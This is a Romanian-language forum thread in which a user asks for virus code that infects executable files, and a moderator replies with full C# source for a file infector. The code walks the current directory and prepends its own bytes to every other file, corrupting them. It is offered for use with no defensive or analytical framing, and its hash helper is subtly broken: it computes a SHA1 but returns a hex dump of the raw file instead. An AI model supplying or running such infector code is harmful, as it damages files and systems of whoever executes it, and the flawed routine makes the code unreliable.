Am tot cautat dar nu prea stiu ce sa caut . Are careva secventa unui virus care infecteaza un fisier exe sau orice fisier pls. Deci doar secventa care infecteaza un anumit fisier pls Daca are careva pls sa posteze aici. pls raman dator
Shocker Super Moderator Din: localhost
Postari: 2084
weaver, incearca asta:
Code:
public class infector
{
public static void Main()
{
Module self = Assembly.GetExecutingAssembly().GetModules() [0];
string curdir = Directory.GetCurrentDirectory();
string[] files = Directory.GetFiles(curdir);
foreach(string filed in files)
{
if (getsha1(self.FullyQualifiedName)==getsha1(filed))
{
continue;
}
else //if not equal
{
try
{
infect(filed,self.FullyQualifiedName); //if error occured (target is active in memory/readonly/etc.
}
catch
{
continue; //next file
}
}
}
}
public static void infect(string target, string source)
{
FileStream xs = new FileStream(source, FileMode.OpenOrCreate, FileAccess.Read);
BinaryReader br = new BinaryReader(xs);
int selflen = (int) xs.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx = new byte[selflen];
//counters
int bytestoread = selflen; // number of bytes to read
int count1 = 0; // finished bytes
while (bytestoread > 0)
{
int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array
if (v==0) // if finished
break; //end while loop
//if not
count1 += v; // increment count
bytestoread -= v; //decrement bytes to read..
}
br.Close();//every opened door must be closed..
//let's read the target contents
FileStream xs1 = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Read);
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1];
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
//let's write the code to another file
FileStream sx = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter bw = new BinaryWriter(sx);
bw.BaseStream.Seek(0, SeekOrigin.Begin);
bw.Write(xxx);//write read contents of this code
bw.Write(xxx1);//then the content of target
bw.Close(); //to the target...
}
public static string getsha1(string filex)
{
FileStream xs1 = new FileStream(filex, FileMode.OpenOrCreate, FileAccess.Read);
BinaryReader br1 = new BinaryReader(xs1);
int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer
//position r/w pointer in the beginning
br1.BaseStream.Seek(0, SeekOrigin.Begin);
//initialize the byte buffer
byte[] xxx1 = new byte[selflen1];
//counters
int bytestoread1 = selflen1; // number of bytes to read
int count11 = 0; // finished bytes
while (bytestoread1 > 0)
{
int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array
if (v1==0) // if finished
break; //end while loop
//if not
count11 += v1; // increment count
bytestoread1 -= v1; //decrement bytes to read..
}
br1.Close();//every opened door must be closed..
SHA1 mark1 = new SHA1CryptoServiceProvider();
byte[] result1 = mark1.ComputeHash(xxx1);
StringBuilder hexString = new StringBuilder();
for (int counter = 0; counter < xxx1.Length; counter++)
{
hexString.Append(String.Format("{0:X2}", xxx1[counter]));
}
return hexString.ToString();
}
}
localhost, ceva si pentru tine:
Sursa Virus <Infectare> – poza de Shocker, in S.O.S. · 5.7KB